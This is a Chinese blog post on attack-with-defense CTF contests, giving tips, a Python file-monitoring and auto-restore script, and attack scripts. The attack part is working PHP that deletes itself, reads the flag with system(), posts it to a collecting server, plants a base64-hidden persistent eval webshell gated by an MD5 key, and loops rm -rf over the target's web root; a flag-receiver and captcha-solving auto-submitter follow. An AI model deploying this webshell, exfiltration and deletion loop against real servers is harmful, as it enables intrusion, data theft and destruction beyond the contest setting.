AWD的攻與防(附攻防腳本)
先說幾點(diǎn)經(jīng)驗(yàn):
1、分配的是ctf低權(quán)限賬號,但是中間件運(yùn)行的是www-data權(quán)限,通常比ctf權(quán)限高,有些馬用ssh上去刪不掉,可以先傳個自己的shell然后去刪,當(dāng)然得做一個防止被偷家的措施,比如說加一個if ("xxx"===md5(key))的操作。也可以用www-data去對文件和目錄做權(quán)限的修改等操作。
2、黑吃黑,直接用別的隊(duì)伍上傳的shell。
3、不是特別大型的比賽沒有那么多的時間去審漏洞,通常用nday直接打,或者內(nèi)置的shell后門。
4、批量拿flag并自動提交平臺;自動備份與恢復(fù)自己的靶機(jī)文件。
主要放兩個腳本,一個攻一個防,網(wǎng)上找了很多都感覺多多少少有點(diǎn)問題。
AWD線下賽防守腳本:
1.該腳本基于python,可直接在linux靶機(jī)上運(yùn)行。
2.開局直接運(yùn)行起來,會自動對web目錄進(jìn)行備份,并建立hash索引。當(dāng)web目錄下有文件被刪除或者被篡改的時候,會自動從備份中恢復(fù)文件。如果存在其他文件上傳,會自動刪除。
3.無法避免的缺點(diǎn):由于條件競爭,如果對方在我們刪除shell之前就已經(jīng)在內(nèi)存中開始生成不死馬了,還是有一定幾率淪陷。

# -*- coding: utf-8 -*-## awd文件監(jiān)控腳本# author:說書人import osimport jsonimport timeimport hashlibdef ListDir(path): # 獲取網(wǎng)站所有文件for file in os.listdir(path):file_path = os.path.join(path, file)if os.path.isdir(file_path):if initialization['ok'] == 'false':dir_list.append(file_path)else:dir_list_tmp.append(file_path)ListDir(file_path)else:if initialization['ok'] == 'false':file_list.append(file_path)else:file_list_tmp.append(file_path)def GetHash(): # 獲取hash,建立索引for bak in file_list:with open(bak, 'rb') as f:md5obj = hashlib.md5()md5obj.update(f.read())hash = md5obj.hexdigest()bak_dict[bak] = hashif os.path.exists('/tmp/awd_web_hash.txt') == False:os.system('mkdir /tmp/awd_web_bak/')os.system('\\cp -a {0}* /tmp/awd_web_bak/'.format(web_dir))with open('/tmp/awd_web_hash.txt', 'w') as f: # 記錄web文件hashf.write(str(json.dumps(bak_dict)))for i in file_list: # 記錄web文件列表with open('/tmp/awd_web_list.txt', 'a') as f:f.write(i + '\n')for i in dir_list: # 記錄web目錄列表with open('/tmp/awd_web_dir.txt', 'a') as f:f.write(i + '\n')def FileMonitor(): # 文件監(jiān)控# 提取當(dāng)前web目錄狀態(tài)initialization['ok'] = 'true'for file in os.listdir(web_dir):file_path = os.path.join(web_dir, file)if os.path.isdir(file_path):dir_list_tmp.append(file_path)ListDir(file_path)else:file_list_tmp.append(file_path)for file in file_list_tmp:with open(file, 'rb') as f:md5obj = hashlib.md5()md5obj.update(f.read())hash = md5obj.hexdigest()bak_dict_tmp[file] = hashwith open('/tmp/awd_web_hash.txt', 'r') as f: # 讀取備份的文件hashreal_bak_dict = json.loads(f.read())with open('/tmp/awd_web_list.txt', 'r') as f: # 讀取備份的文件列表real_file_list = f.read().split('\n')[0:-1]with open('/tmp/awd_web_dir.txt', 'r') as f: # 讀取備份的目錄列表real_dir_list = f.read().split('\n')[0:-1]for dir in real_dir_list: # 恢復(fù)web目錄try:os.makedirs(dir)print("[del-recover]dir:{}".format(dir))except:passfor file in file_list_tmp:try:if real_bak_dict[file] != bak_dict_tmp[file]: # 檢測被篡改的文件,自動恢復(fù)os.system('\\cp {0} {1}'.format(file.replace(web_dir, '/tmp/awd_web_bak/'), file))print("[modify-recover]file:{}".format(file))except: # 檢測新增的文件,自動刪除os.system('rm -rf {0}'.format(file))print("[delete]webshell:{0}".format(file))for real_file in real_file_list: # 檢測被刪除的文件,自動恢復(fù)if real_file not in file_list_tmp:os.system('\\cp {0} {1}'.format(real_file.replace(web_dir, '/tmp/awd_web_bak/'), real_file))print("[del-recover]file:{0}".format(real_file))file_list_tmp[:] = []dir_list_tmp[:] = []os.system("rm -rf /tmp/awd_web_hash.txt /tmp/awd_web_list.txt /tmp/awd_web_dir.txt /tmp/awd_web_bak/")web_dir = "/var/www/" # web目錄,注意最后要加斜杠file_list = []dir_list = []bak_dict = {}file_list_tmp = []dir_list_tmp = []bak_dict_tmp = {}initialization = {'ok': 'false'}ListDir(web_dir)GetHash()while True:print(time.ctime()+" 安全")FileMonitor()time.sleep(1) # 監(jiān)控間隔,按需修改
AWD線下賽攻擊腳本:
(1)內(nèi)存馬&自動獲取刷新的flag
該腳本功能:
1.該腳本為內(nèi)存腳本,訪問一下就自刪除,不留痕跡。
2.自動讀取flag,并將flag提交到指定地址,會自動檢測是否更新flag,只有更新了flag才會提交,需要在腳本中修改flag物理路徑。
3.會生成不死馬,不死馬具有隱藏和欺騙功能。用蟻劍訪問http://xxx/.c403d59fea33113df44d465aeec336ab.php?key=ssr2021shuoshurenmd5,密碼為a。
木馬原始代碼如下(只要別人不知道key,就沒辦法黑吃黑):
$key=$_GET["key"];$keyhash=md5($key);if($keyhash==="c403d59fea33113df44d465aeec336ab") {eval($_POST["a"]);}echo"file not find.";
這個只作為備用連接,flag正常自己提交過來的話就不用管。
4.該腳本會不斷刪除目標(biāo)的網(wǎng)站源碼,別人扣分等于我們加分。
5.腳本命名必須為awd2021.php,若要修改的話需要同步修改下面代碼中的文件名。
function send_post($url, $post_data) {$postdata = http_build_query($post_data);$options = array('http' => array('method' => 'POST','header' => 'Content-type:application/x-www-form-urlencoded','content' => $postdata,'timeout' => 15 * 60));$context = stream_context_create($options);$result = file_get_contents($url, false, $context);return $result;}$flag_tmp="flag{xxx}";@unlink ("awd2021.php");while (True) {$flag=system("cat flag.txt");$data=array('flag' => $flag);if ($flag!=$flag_tmp) {send_post('http://127.0.0.1/getflag.php', $data);}$flag_tmp=$flag;$shell=base64_decode("PD9waHAgJGtleT0kX0dFVFsia2V5Il07CiRrZXloYXNoPW1kNSgka2V5KTsKaWYoJGtleWhhc2g9PT0iYzQwM2Q1OWZlYTMzMTEzZGY0NGQ0NjVhZWVjMzM2YWIiKSB7CglldmFsKCRfUE9TVFsiYSJdKTsKfQplY2hvImZpbGUgbm90IGZpbmQuIjsKPz4=");if (file_exists(".c403d59fea33113df44d465aeec336ab.php")==0) {file_put_contents(".c403d59fea33113df44d465aeec336ab.php", $shell, FILE_APPEND);}system("rm -rf /var/www/html/* !(.c403d59fea33113df44d465aeec336ab.php)");}
(2)服務(wù)端接收flag
1.按照往年比賽經(jīng)驗(yàn),靶機(jī)和我們的電腦是互通的,這個腳本可以本機(jī)開一個phpstudy跑起來,若不通的話直接放自己的靶機(jī)服務(wù)器上。
2.這個腳本默認(rèn)名字為getflag.php,如果修改的話需要修改內(nèi)存腳本中對應(yīng)的文件名。
3.新的flag會源源不斷提交過來,在當(dāng)前目錄的shuoshuren_flag.txt里面。
<?php$flag=$_POST["flag"];file_put_contents("shuoshuren_flag.txt", $flag."\n", FILE_APPEND);?>
(3)自動提交flag腳本
根據(jù)往年經(jīng)驗(yàn),flag提交平臺是有驗(yàn)證碼的,所以這個腳本調(diào)用了驗(yàn)證碼訓(xùn)練識別模型,達(dá)到自動化提交flag的目的,平臺沒有驗(yàn)證碼的話就不用識別。
# AWD自動提交flag腳本# base python3# author:說書人import requestsimport base64import jsonimport timedef GetPic(url): # 獲取驗(yàn)證碼并識別,這里會調(diào)用我本機(jī)的驗(yàn)證碼訓(xùn)練識別模型(refer:算命瞎子)pic_content=requests.get(url).contentpic_base64=base64.b64encode(pic_content).decode()data='base64='+pic_base64try:yzm=requests.post('http://192.168.3.103:8899/base64',data=data).textreturn yzmexcept:return 'yzm'def PostFlag(PostUrl,PicUrl,flag): # 提交flagwith open(flag,'r') as f:flag_list=f.read().split('\n')headers={#請求頭需要現(xiàn)場抓包}for flag in flag_list:if flag in flag_list:print("{} 重復(fù)".format(flag))else:GetYzm=GetPic(PicUrl)data = json.dumps({"請求體需要現(xiàn)場抓包,字典格式"})try:res=requests.post(url=PostUrl,headers=headers,data=data)if '成功的標(biāo)識符' in res.text:print("{} 提交成功".format(flag))flag_list_ok.append(flag)else:print("{} 提交失敗".format(flag))except:print('其他錯誤')flag_list_ok=[]while True:PostFlag("提交flag的請求地址","flag平臺驗(yàn)證碼的地址","shuoshuren_flag.txt")time.sleep(300)#休息5分鐘,可以按需修改
之前的知識星球停止運(yùn)營了,原因較多不再累述,新的星球打算重新割運(yùn)營起來,之前的付費(fèi)用戶,不論支付了多少或者在不在有效期,均可以憑付款憑證免費(fèi)加入新的星球,具體操作見原星球置頂說明。
主題可預(yù)覽、三天可退款,感謝各位支持。
